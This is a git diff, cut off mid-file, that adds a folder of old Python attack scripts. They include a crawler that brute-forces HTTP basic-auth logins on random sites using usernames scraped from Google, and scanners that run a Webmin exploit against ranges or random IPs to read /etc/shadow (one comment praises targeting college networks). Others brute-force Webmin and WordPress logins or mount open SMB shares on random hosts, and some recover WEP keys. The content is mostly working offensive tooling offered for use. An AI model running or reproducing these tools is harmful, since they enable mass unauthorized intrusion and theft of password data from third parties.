+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+wordlist = copy(words)
+hits = 0
+logins = 0
+
+def geturls(url):
+	
+	try:
+		print "[+] Collecting:",url
+		page = urllib2.urlopen(url).read()
+		links = re.findall(('http://\w+.\w+\.\w+[/\w+.]*[/.]\w+'), page)
+		for link in links:
+			if link not in urls and link[-3:].lower() not in ("gif","jpg","png","ico"):
+				urls.append(link)
+	except(IOError,TypeError,AttributeError,httplib.BadStatusLine, socket.error): pass
+	return urls
+
+def StripTags(text):
+     finished = 0
+     while not finished:
+         finished = 1
+         start = text.find("<")
+         if start >= 0:
+             stop = text[start:].find(">")
+             if stop >= 0:
+                 text = text[:start] + text[start+stop+1:]
+                 finished = 0
+     return text
+
+def getusers(domain):
+	d={}
+	global erase
+	page_counter = 0
+	try:
+    		while page_counter < 50 :
+        		results = 'http://groups.google.com/groups?q='+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter) + '&sa=N'
+        		request = urllib2.Request(results)
+        		request.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        		opener = urllib2.build_opener()                           
+        		text = opener.open(request).read()
+        		emails = (re.findall('([\w\.\-]+@'+domain+')',StripTags(text)))
+        		for email in emails:
+            			d[email]=1
+            			uniq_emails=d.keys()
+        		page_counter +=10
+	except(IOError,TypeError,AttributeError,httplib.BadStatusLine,socket.error):
+    		print "Can't connect to Google Groups!"+""
+		pass
+    
+	page_counter_web=0
+	try:
+
+    		while page_counter_web < 50 :
+        		results_web = 'http://www.google.com/search?q=%40'+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter_web) + '&sa=N'
+        		request_web = urllib2.Request(results_web)
+        		request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        		opener_web = urllib2.build_opener()                           
+        		text = opener_web.open(request_web).read()
+        		emails_web = (re.findall('([\w\.\-]+@'+domain+')',StripTags(text)))
+        		for email_web in emails_web:
+            			d[email_web]=1
+            			uniq_emails_web=d.keys()
+        		page_counter_web +=10
+        
+	except(IOError,TypeError,AttributeError,httplib.BadStatusLine,socket.error):
+    		print "Can't connect to Google Web!"+""
+		pass
+	print "[+] Found users:",len(d.keys())
+	print "[+] Adding users to the list"
+	erase = len(d.keys())
+	for uniq_emails_web in d.keys():
+    		user = uniq_emails_web.rsplit('@',1)[0]
+    		users.append(user)
+	print "[+]",len(d.keys()),"added"
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	if len(users) ==1:
+		return users[0], value[0][:-1]
+	else:
+		return users[0][:-1], value[0][:-1] 
+
+def getauth(site, users):
+	
+	print "[-] Checking Authentication:",site
+	global hits
+	try:
+		req = urllib2.Request(site)
+		handle = urllib2.urlopen(req)
+		if site in urls:
+			print "Removing:",site
+			urls.remove(site)
+	except(IOError,urllib2.URLError,urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg:
+			print "\t- Got:",msg,"\n"
+			try:
+				if hasattr(msg, 'code') or msg.code == 401:
+					authline = msg.headers.get('www-authenticate', '')
+					if authline:
+						print "[+]",authline
+						print "[+] Found site using basic authentication"
+						domain = site[7:].split("/",3)[0]
+						print "[+] Collecting users from Google:",domain,"\n"
+						getusers(domain)
+						print "[+] Attempting Brute Force on",site,"\n"
+						hits +=1
+						for i in range(len(words)*len(users)):
+							work = threading.Thread()
+							work.setDaemon(1)
+							work.start()
+							threader(site)
+							time.sleep(1)
+						print len(users)
+						print "[+] Removing last collected users\n"
+						users = users[:-int(erase)]
+						print len(users)
+			except(AttributeError):
+				pass
+	else: 
+		print "\t- Got: 200\n"
+	
+def threader(site):
+	username, password = getword()
+	global logins
+	try:
+		print "-"*12
+		print "User:",username,"Password:",password
+		req = urllib2.Request(site)
+		passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
+		passman.add_password(None, site, username, password)
+		authhandler = urllib2.HTTPBasicAuthHandler(passman)
+		opener = urllib2.build_opener(authhandler)
+		fd = opener.open(req)
+		site = urllib2.urlopen(fd.geturl()).read()
+		print "\n[+] Checking the authenticity of the login...\n"
+		if not re.search(('denied'), site.lower()):
+			print "\t\n\n[+] Username:",username,"Password:",password,"----- Login successful!!!\n\n"
+			print "[+] Writing Successful Login:",sys.argv[5],"\n"
+			logins +=1
+			file = open(sys.argv[5], "a")
+			file.writelines("Site: "+site+" Username: "+username+ " Password: "+password+"\n")
+			file.close()			
+			print "Retrieved", fd.geturl()
+			info = fd.info()
+			for key, value in info.items():
+    				print "%s = %s" % (key, value)
+		else: 
+			print "- Redirection\n"
+	except (urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg: 
+		print "An error occurred:", msg
+		pass
+
+def giddyup(start):
+	if start[:7] != "http://":
+		start = "http://"+start	
+	urls = geturls(start)
+	for x in range(1,int(sys.argv[4])):
+		print "- Destination:",x,"of",int(sys.argv[4])
+		if len(urls) < 5000:
+			urls = geturls(random.choice(urls))
+			print "- Collected:",len(urls)
+			site = random.choice(urls)
+			getauth(site, users)
+			for i in range(2,site.count('/')):
+				site = site.rpartition('/')[0]
+				getauth(site, users)
+		else:
+			for url in urls[1:2500]:
+				urls.remove(url)
+			
+urls = []
+start = sys.argv[1]
+
+print "\n\t d3hydr8[at]gmail[dot]com WebauthBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Starter:",start
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+print "[+] Scanning:",sys.argv[4]
+print "[+] Logins File:",sys.argv[5],"\n"
+
+time.sleep(5)
+giddyup(start)
+
+while start:
+	print "\n\nFound",hits,"sites using basic authentication."
+	print "Logins Reported:",logins
+	start = raw_input("Enter new starting site or Press enter to exit: ")
+	if start: 
+		giddyup(start)	
+if hits >= 1:
+	print "\n\nFound:",hits,"brute forced\n"
+if logins >= 1:
+	print "Check:",sys.argv[5]	
+print "\n[+] Done\n"
+	
+
diff --git a/3rdparty/webmin.py b/3rdparty/webmin.py
new file mode 100644
index 0000000..d08e4c6
--- /dev/null
+++ b/3rdparty/webmin.py
@@ -0,0 +1,38 @@
+#!/usr/bin/python
+#Uses nmap to scan ip range for open webmin/usermin
+#ports then exploits them. Make sure to put "http://www.milw0rm.com/exploits/1997"
+#this exploit in the same dir or edit line 28.
+#I've had great success with college ip ranges, feel free and change the nmap flag
+#but remember to su root if using -sS.
+#d3hydr8[at]gmail[dot]com
+
+import commands, sys, getopt, StringIO, re
+
+tmp, args = getopt.getopt(sys.argv[1:],"")
+	
+def rand_scan(port):
+
+	iprange = args[0]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p '+port+' | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	print len(ip_list), "hosts to exploit for port",port,"...\n"	
+		   
+
+	for ip in ip_list:
+		web = StringIO.StringIO(commands.getstatusoutput('php webmin.php '+ip+' '+port+' http /etc/shadow')[1]).readlines()
+		for line in web: print line
+			
+#................................................
+	
+if args == []:
+	print "Usage: ./webmin.py <ip range>"
+else:
+	print "\nScanning", args[0],"\b...\n"
+	rand_scan(port = str(10000))
+	rand_scan(port = str(20000))
diff --git a/3rdparty/webmin_rand.py b/3rdparty/webmin_rand.py
new file mode 100644
index 0000000..010bd89
--- /dev/null
+++ b/3rdparty/webmin_rand.py
@@ -0,0 +1,66 @@
+#!/usr/bin/python
+#Uses nmap to scan random ips for open webmin/usermin
+#ports then exploits them. Make sure to put "http://www.milw0rm.com/exploits/1997"
+#in the same dir as this file or change line 20 to the proper dir.
+#d3hydr8[at]gmail[dot]com
+
+import commands, sys, getopt, StringIO, re, string
+
+tmp, args = getopt.getopt(sys.argv[1:],"")
+	
+def rand_scan():
+
+	tmp = args[0]
+	port = ""
+	
+	nmapoutput = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -p 10000,20000 -iR 1')[1]).readlines()
+	
+	for tmp in nmapoutput:
+		if re.search("10000/tcp\s+(?=open)", tmp):
+			port = "10000"
+		if re.search("20000/tcp\s+(?=open)", tmp):
+			port = "20000"
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+			ip = ipaddr[0]
+	return ip, port
+				   
+def webminscan(ip, port, proto, file):
+
+	webout = StringIO.StringIO(commands.getstatusoutput('php webmin.php '+ip+' '+port+' '+proto+' '+file+'')[1]).readlines()
+	return webout
+
+#................................................
+	
+if len(sys.argv) != 2:
+	print "Usage: ./webmin_rand.py <How many ips would you like to scan?>"
+	sys.exit(1)
+else:
+	num=sys.argv[1]
+	
+	print "\nScanning",num,"hosts for open ports to exploit...\n"
+	count = 0
+	while count != int(num):
+		count += 1
+		file = "/etc/shadow"
+		proto = "http"
+		ip, port = rand_scan()
+		print "Searching:",ip
+		if port == "10000" or port == "20000":
+			output = webminscan(ip, port, proto, file)
+		else:
+			continue
+		for line in output:
+			if re.search("Error - File not found", line):
+				freebsd = webminscan(ip, port, proto, file = "/etc/master.passwd")
+				for line in freebsd:
+					print "\a",line
+			elif re.search("This web server is running in SSL mode.", line):
+				proto = "https"
+				ssl = webminscan(ip, port, proto, file) 
+				for line in ssl:
+					print "\a",line
+			else:
+				print "\a",line
+				
+		
diff --git a/3rdparty/webminbrute.py b/3rdparty/webminbrute.py
new file mode 100644
index 0000000..0f99272
--- /dev/null
+++ b/3rdparty/webminbrute.py
@@ -0,0 +1,104 @@
+#!usr/bin/python
+#Webmin Brute Forcer
+#To use this script you need ClientCookie and Client Form.
+#http://wwwsearch.sourceforge.net/ClientCookie/src/ClientCookie-1.0.3.tar.gz
+#http://wwwsearch.sourceforge.net/ClientForm/src/ClientForm-0.1.17.tar.gz
+#To install the package, run the following command:
+#python setup.py build
+#then (with appropriate permissions)
+#python setup.py install
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, socket, httplib, re, urllib2
+try:
+	sys.path.append('ClientCookie-1.0.3')
+	import ClientCookie
+	sys.path.append('ClientForm-0.1.17')
+	import ClientForm
+except(ImportError):
+	print "\nTo use this script you need ClientCookie and Client Form."
+	print "Read the top intro for instructions.\n"
+	sys.exit(1)
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./webminbrute.py <server> <user> <wordlist>"
+	sys.exit(1)
+
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com WebminBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] User:",sys.argv[2]
+print "[+] Words Loaded:",len(words),"\n"
+
+headers = ["Mozilla/5.0 (compatible)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)", "Windows-RSS-Platform/1.0 (MSIE 7.0; Windows NT 5.1)", "Windows NT 6.0 (MSIE 7.0)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Windows NT 4.0 (MSIE 5.0)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2"]
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist\n"
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		global success
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",sys.argv[2],"Password:",value
+			cookieJar = ClientCookie.CookieJar()
+			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
+			opener.addheaders = [("User-agent", random.sample(headers,  1)[0])]
+			ClientCookie.install_opener(opener)
+			fp = ClientCookie.urlopen(sys.argv[1])
+			forms = ClientForm.ParseResponse(fp)
+			form = forms[0]
+			form["user"] = sys.argv[2] 
+			form["pass"] = value      
+			fp = ClientCookie.urlopen(form.click())
+			site = fp.readlines()
+			for line in site:
+				if re.search("Login failed.", line.lower()) != None:
+					print "\tSuccessful Login:", value
+					success =  value
+					sys.exit(1)
+			fp.close()
+		except(socket.gaierror, urllib2.HTTPError), msg: 
+			print msg 
+			pass
+ 
+for i in range(len(words)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
+time.sleep(3)
+try:
+	if success:
+		print "\n\n[+] Successful Login:",sys.argv[1]
+		print "[+] User:",sys.argv[2]," Password:",success
+except(NameError):
+	print "\n[+] Couldn't find correct password"
+	pass
+print "\n[+] Done\n"
diff --git a/3rdparty/webscan.py b/3rdparty/webscan.py
new file mode 100644
index 0000000..f129b9d
--- /dev/null
+++ b/3rdparty/webscan.py
@@ -0,0 +1,69 @@
+#!/usr/bin/python
+#Prints webservers running in an iprange.
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com
+
+import socket, httplib, threading, time, sys
+
+def scan(ip, msg):
+	ports = [80,8000,8080]
+	for port in ports:
+		try:
+			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+			s.connect((ip, port))
+			s.close()
+			print "[+] Open:",ip+":"+str(port)
+			servtest(ip, port)
+		except:
+			pass
+	
+	
+def getips(ip_range):
+	
+	lst = []
+	iplist = []
+	ip_range = ip_range.rsplit(".",2)
+	if len(ip_range[1].split("-",1)) ==2:
+		for i in range(int(ip_range[1].split("-",1)[0]),int(ip_range[1].split("-",1)[1])+1,1):
+			lst.append(ip_range[0]+"."+str(i)+".")
+		for ip in lst:
+			for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+				iplist.append(ip+str(i))
+		return iplist
+	if len(ip_range[1].split("-",1)) ==1:
+		for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+			iplist.append(ip_range[0]+"."+str(ip_range[1].split("-",1)[0])+"."+str(i))
+		return iplist
+	
+		
+def servtest(ip, port):
+	
+	try:
+		h = httplib.HTTP(ip+":"+str(port))
+		h.putrequest("HEAD", "/")
+		h.putheader("Host", ip)
+		h.endheaders()
+		status, reason, headers = h.getreply()
+		server = headers.get("Server")
+		if server:
+			print "[+] Running:",server,"\n"
+	except: pass
+
+print "\n\t   d3hydr8[at]gmail[dot]com WebServScan v1.1"
+print "\t----------------------------------------------\n"
+if len(sys.argv) < 2:
+	print "Usage: ./webscan.py <ip_range>\n"
+	sys.exit(1)
+try:
+	iplist = getips(sys.argv[1])
+except(ValueError):
+	print "[-] Incorrect IP-Range\n"
+	sys.exit(1)
+print "\n[+] Scanning:",len(iplist),"ips\n"
+socket.setdefaulttimeout(3)
+for ip in iplist:
+	time.sleep(1)
+	threading.Thread( target=scan, args=(ip, 0) ).start()
+print "\n[-] Done\n"
+
+	
\ No newline at end of file
diff --git a/3rdparty/webservscan.py b/3rdparty/webservscan.py
new file mode 100644
index 0000000..5ffb659
--- /dev/null
+++ b/3rdparty/webservscan.py
@@ -0,0 +1,50 @@
+#!/usr/bin/python
+#Uses nmap to search for open webserver ports
+#in an ip range.
+#Then trys to report what servers running.
+#d3hydr8[at]gmail[dot]com
+
+import commands, sys, getopt, StringIO, re, httplib
+
+tmp, args = getopt.getopt(sys.argv[1:],"")
+	
+def scan():
+
+	iprange = args[0]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 80,8000,8080 | grep -B 5 open')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	print "Found",len(ip_list),"hosts to investigate...\n"
+	return ip_list
+
+def servtest(ip_list):
+	
+	ports = [80,8000,8080]
+	for ip in ip_list:
+		for port in ports:
+			try:
+				h = httplib.HTTP(ip+":"+str(port))
+				h.putrequest("HEAD", "/")
+				h.putheader("Host", ip)
+				h.endheaders()
+				status, reason, headers = h.getreply()
+				server = headers.get("Server")
+				if server:
+					print ip,":",port,"is running",server,"\n"
+			except: pass
+#................................................
+	
+if args == []:
+	print "Usage: ./webservscan.py <ip range>"
+else:
+	print "\n   d3hydr8[at]gmail[dot]com WebServScan v1.0"
+	print "--------------------------------------------------"
+	print "+ Target range:",args[0]
+	print "+ Target ports: 80,8000,8080"
+	print "\n\t .:[ Scanning", args[0],"]:.\n"
+	servtest(scan())
diff --git a/3rdparty/wepcrack.py b/3rdparty/wepcrack.py
new file mode 100644
index 0000000..9be1c83
--- /dev/null
+++ b/3rdparty/wepcrack.py
@@ -0,0 +1,43 @@
+#!/usr/bin/python
+#Trys to find your wireless config file and extracts 
+#the wep key and then decodes it.
+#Tested on Suse 10.2, if your distro's wireless config file isn't
+#called "wireless". Email me a sample file and type of 
+#distro so I can make this more versitile.
+#d3hydr8[at]gmail[dot]com
+#http://darkcode.ath.cx
+
+import sys, os, re, binascii
+	
+print "\nSearching for wireless config file...\n"
+
+try:
+	file = os.popen("find / -name wireless").readlines()
+except(OSError):
+	pass
+for line in file:
+	try:
+		text = open(line[:-1], "r").readlines()
+		for line in text:
+			if re.search("WIRELESS_KEY=", line):
+				key = line.lstrip("WIRELESS_KEY=").replace("\"","").replace("-","")
+				if key != "\n":
+					print "\n\n",key
+					print "WEP key:",binascii.a2b_hex(key[:-1]),"\n"
+				
+	except(IOError):
+		pass
+
+#You must be root to use iwconfig
+	
+file = os.popen("iwconfig").readlines()
+for line in file:
+	if re.search("Encryption key:", line):
+		key = line.lstrip("Encryption key:").replace("-","").split(" ",1)
+		if len(key) == 2:
+			key = key[0]
+		print key
+		print "WEP key:",binascii.a2b_hex(key),"\n"
+
+		
+
diff --git a/3rdparty/wepdecode.py b/3rdparty/wepdecode.py
new file mode 100644
index 0000000..39e23e8
--- /dev/null
+++ b/3rdparty/wepdecode.py
@@ -0,0 +1,14 @@
+#!/usr/bin/python
+#Decodes a WEP key (hex to ascii)
+#d3hydr8[at]gmail[dot]com
+#http://darkcode.ath.cx
+
+import sys, binascii
+
+if len(sys.argv) != 2:
+	print "Usage: ./wepdecode.py <key>"
+	sys.exit(1)
+
+key = sys.argv[1].replace("-","")
+
+print "\nWEP key:",binascii.a2b_hex(key),"\n"
diff --git a/3rdparty/wepgen.py b/3rdparty/wepgen.py
new file mode 100644
index 0000000..7974871
--- /dev/null
+++ b/3rdparty/wepgen.py
@@ -0,0 +1,37 @@
+#!/usr/bin/python
+#Generates a wep key from pass phrase or password.
+#d3hydr8[at]gmail[dot]com
+#http://darkcode.ath.cx
+
+import sys, binascii, re
+
+if len(sys.argv) != 2:
+	print "Usage: ./wepgen.py <pass phrase>"
+	sys.exit(1)
+
+key = binascii.b2a_hex(sys.argv[1])
+finalkey = ""
+set = re.findall("\w\w\w\w", key)
+num = 0
+while len(set) != num:
+	if num == 0:
+		finalkey = finalkey + set[num]
+		key = key.replace(set[num],"")
+	else:
+		finalkey = finalkey + "-"+set[num]
+		key = key.replace(set[num],"")
+	num +=1
+finalkey = finalkey + "-"+key
+print "\nWEP key:",finalkey,"\n"
+
+	
+
+
+
+	
+
+
+	
+
+
+
diff --git a/3rdparty/win.py b/3rdparty/win.py
new file mode 100644
index 0000000..027b5c2
--- /dev/null
+++ b/3rdparty/win.py
@@ -0,0 +1,89 @@
+#!/usr/bin/python
+#Uses nmap to scan for open netbios ports then attempts to mount.
+#Usage: ./win.py <ip range>
+#d3hydr8[at]gmail[dot]com
+
+import commands, string, StringIO, getopt, sys, re, os
+
+tmp, args = getopt.getopt(sys.argv[1:], '')
+
+def getips():
+    ip_range = args[0]
+    ip_list = []
+    
+    nmapoutput = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -p 137,138,139,445 '+ip_range)[1]).readlines()
+    
+    for tmp in nmapoutput:
+	ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+	if ipaddr:
+	    ip_list.append(ipaddr[0])
+
+    return ip_list
+
+def getnames(ips):
+    comp_names = []
+    
+    for ip in ips:
+	nmblookupoutput = StringIO.StringIO(commands.getstatusoutput('nmblookup -A ' + ip)[1]).readlines()
+	
+	for tmp in nmblookupoutput:
+	    if re.search('<00> -         ', tmp):
+		point = string.find(tmp, '<00>')
+		comp_names.append(tmp[1:point])
+    
+    return comp_names
+
+def getshares(compname):
+    
+    sharelist = []
+    smbclientoutput = StringIO.StringIO(commands.getstatusoutput('smbclient -n "noone" -N -L "' + compname + '"')[1]).readlines()
+    
+    for tmp in smbclientoutput:
+	if string.find(tmp, 'PRINTER$') == -1:
+	    if re.search('Disk', tmp):
+		point = string.find(tmp, 'Disk')
+		sharelist.append(tmp[1:point])
+	    if re.search('Server               Comment', tmp):
+		continue
+	
+    return sharelist
+
+def mountshares(comp_name):
+    comp_name = string.lower(comp_name)
+    comp_name = string.strip(comp_name)
+    sharecount = 0
+    
+    command = 'mkdir "./' + comp_name + '"'
+    os.system(command)
+    
+    shares = getshares(comp_name)
+    
+    for ashare in shares:
+	
+	ashare = string.lower(ashare)
+	ashare = string.strip(ashare)
+	
+	os.system('mkdir "./' + comp_name + '/' + ashare + '"')
+	command = 'smbmount "//' + comp_name + '/' + ashare + '" "./' + comp_name + '/' + ashare + '" -o guest, netbiosname=bob, username=bob, uid=bob, gid=bob'
+	output = commands.getstatusoutput(command)[1]
+	if output:
+	    print 'Error: could not mount //' + comp_name + '/' + ashare
+	    os.system('rmdir  "./' + comp_name + '/' + ashare + '"')
+	else:
+	    print 'Mounting //' + comp_name + '/' + ashare
+	    sharecount = sharecount + 1
+
+    return sharecount
+#--------------------------------------------------------------
+
+if args == []:
+    print 'Usage: win.py <ip range>'
+else:    
+
+    computer_names = getnames(getips())
+    mountedcount = 0
+
+    for name in computer_names:
+    	mountedcount = mountedcount + mountshares(name)
+    
+    print "Mounted " + str(mountedcount) + " shares."
diff --git a/3rdparty/winrand.py b/3rdparty/winrand.py
new file mode 100644
index 0000000..471ecfe
--- /dev/null
+++ b/3rdparty/winrand.py
@@ -0,0 +1,94 @@
+#!/usr/bin/python
+#Scans random ips for netbios open and attempts to mount.
+#Usage: ./winrand.py <how many you want to scan?>
+#d3hydr8[at]gmail[dot]com
+
+import commands, string, StringIO, getopt, sys, re, os
+
+tmp, args = getopt.getopt(sys.argv[1:], '')
+
+def getips():
+	
+    ip_list = []
+    
+    nmapoutput = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 137,138,139,445')[1]).readlines()
+    
+    for tmp in nmapoutput:
+	ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+	if ipaddr:
+	    print "Testing:",ipaddr[0]
+	    ip_list.append(ipaddr[0])
+
+    return ip_list
+
+def getnames(ips):
+    comp_names = []
+    
+    for ip in ips:
+	nmblookupoutput = StringIO.StringIO(commands.getstatusoutput('nmblookup -A ' + ip)[1]).readlines()
+	
+	for tmp in nmblookupoutput:
+	    if re.search('<00> -         ', tmp):
+		point = string.find(tmp, '<00>')
+		comp_names.append(tmp[1:point])
+    
+    return comp_names
+
+def getshares(compname):
+    
+    sharelist = []
+    smbclientoutput = StringIO.StringIO(commands.getstatusoutput('smbclient -n "noone" -N -L "' + compname + '"')[1]).readlines()
+    
+    for tmp in smbclientoutput:
+	if string.find(tmp, 'PRINTER$') == -1:
+	    if re.search('Disk', tmp):
+		point = string.find(tmp, 'Disk')
+		sharelist.append(tmp[1:point])
+	    if re.search('Server               Comment', tmp):
+		continue
+	
+    return sharelist
+
+def mountshares(comp_name):
+    comp_name = string.lower(comp_name)
+    comp_name = string.strip(comp_name)
+    sharecount = 0
+    
+    command = 'mkdir "./' + comp_name + '"'
+    os.system(command)
+    
+    shares = getshares(comp_name)
+    
+    for ashare in shares:
+	
+	ashare = string.lower(ashare)
+	ashare = string.strip(ashare)
+	
+	os.system('mkdir "./' + comp_name + '/' + ashare + '"')
+	command = 'smbmount "//' + comp_name + '/' + ashare + '" "./' + comp_name + '/' + ashare + '" -o guest, netbiosname=bob, username=bob, uid=bob, gid=bob'
+	output = commands.getstatusoutput(command)[1]
+	if output:
+	    print 'Error: could not mount //' + comp_name + '/' + ashare
+	    os.system('rmdir  "./' + comp_name + '/' + ashare + '"')
+	else:
+	    print 'Mounting //' + comp_name + '/' + ashare
+	    sharecount = sharecount + 1
+
+    return sharecount
+#--------------------------------------------------------------
+
+if args == []:
+    print 'Usage: winrand.py <how many to scan>'
+    print 'ex: ./winrand.py 1000'
+else:    
+	
+    for i in xrange(int(args[0])):	
+	    
+         computer_names = getnames(getips())
+         mountedcount = 0
+
+         for name in computer_names:
+    	     mountedcount = mountedcount + mountshares(name)
+    
+         print "Mounted " + str(mountedcount) + " shares."
+	    
diff --git a/3rdparty/wordcreator.py b/3rdparty/wordcreator.py
new file mode 100644
index 0000000..f4bd292
--- /dev/null
+++ b/3rdparty/wordcreator.py
@@ -0,0 +1,55 @@
+#!/usr/bin/python
+#Combines all wordlists into one file (master.txt) without 
+#duplicates. 
+
+#www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import sys, os, sets
+
+def getwords(wordlist):
+	try:
+  		file = open(wordlist, "r")
+		words = file.readlines()
+		file.close()
+	except(IOError),msg:
+		words = "" 
+  		print "Error:",msg
+  		pass
+	return words
+
+if len(sys.argv) != 2:
+	print "Usage: ./wordcreator.py <wordlist dir>"
+	sys.exit(1)
+
+wordlists = os.listdir(sys.argv[1])
+
+print "\n d3hydr8[at]gmail[dot]com wordcreator v1.0"
+print "--------------------------------------------"
+
+print "[+] Wordlists Loaded:",len(wordlists)
+
+final = []
+
+for lst in wordlists:
+	words = getwords(os.path.join(sys.argv[1],lst))
+	print "[+] List:",lst,"  Length:",len(words),"loaded"
+	for word in words:
+		final.append(word.replace("\n",""))
+	print "[+] Length:",len(final)
+final = list(sets.Set(final))
+print "\n[!!!] FINAL LENGTH:",len(final)
+master = open("master.txt", "a")
+for w in final:
+	master.writelines(w+"\n")
+master.close()
+print "\n[-] Done\n"
+
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/wordextract.py b/3rdparty/wordextract.py
new file mode 100644
index 0000000..0b32a1c
--- /dev/null
+++ b/3rdparty/wordextract.py
@@ -0,0 +1,48 @@
+#!/usr/bin/python
+#Word Extractor from a site.
+
+import sys, urllib2, re, sets
+
+#Min length of word
+MIN_LENGTH = 3
+#Max length of word
+MAX_LENGTH = 10
+
+def StripTags(text):
+	finished = 0
+	while not finished:
+		finished  =1
+		start =  text.find("<")
+		if start >= 0:
+			stop = text[start:].find(">")
+			if stop >= 0:
+				text = text[:start] + text[start+stop+1:]
+				finished = 0
+	return text
+			
+if len(sys.argv) != 3:
+	print "\nUsage: ./wordextract.py <site> <file to save words>"
+	print "Ex: ./wordextract.py http://www.test.com wordlist.txt\n"
+	sys.exit(1)
+
+site = sys.argv[1]
+if site[:7] != "http://":
+	site = "http://"+site
+	
+print "\n[+] Retrieving Source:",site
+source = StripTags(urllib2.urlopen(site).read())
+words = re.findall("\w+",source)
+words = list(sets.Set(words))
+l = len(words)
+print "[+] Found:",l,"words"
+print "[+] Trimming words to length"
+for word in words:
+	if not MIN_LENGTH <= len(word) <= MAX_LENGTH:
+		words.remove(word)
+print "\n[+] Removed:",l-len(words),"words"
+print "[+] Writing:",len(words),"words to",sys.argv[2]
+file = open(sys.argv[2],"a")
+for word in words:
+	file.writelines(word+"\n")
+file.close()
+print "\n[-] Complete\n"
\ No newline at end of file
diff --git a/3rdparty/wordpressbf.py b/3rdparty/wordpressbf.py
new file mode 100644
index 0000000..0007d56
--- /dev/null
+++ b/3rdparty/wordpressbf.py
@@ -0,0 +1,103 @@
+#!/usr/bin/python
+#WordPress Brute Force (wp-login.php)
+
+#If cookies enabled brute force will not work (yet)
+#Change response on line 97 if needed. (language)
+
+#Dork: inurl:wp-login.php
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import urllib2, sys, re, urllib, httplib, socket
+
+print "\n   d3hydr8[at]gmail[dot]com WordPressBF v1.0"
+print "----------------------------------------------"
+
+if len(sys.argv) not in [4,5,6,7]:
+	print "Usage: ./wordpressbf.py <site> <user> <wordlist> <options>\n"
+	print "\t   -p/-proxy <host:port> : Add proxy support"
+	print "\t   -v/-verbose : Verbose Mode\n"
+	sys.exit(1)
+	
+for arg in sys.argv[1:]:
+	if arg.lower() == "-p" or arg.lower() == "-proxy":
+		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+		
+try:
+	if proxy:
+		print "\n[+] Testing Proxy..."
+		h2 = httplib.HTTPConnection(proxy)
+		h2.connect()
+		print "[+] Proxy:",proxy
+except(socket.timeout):
+	print "\n[-] Proxy Timed Out"
+	proxy = 0
+	pass
+except(NameError):
+	print "\n[-] Proxy Not Given"
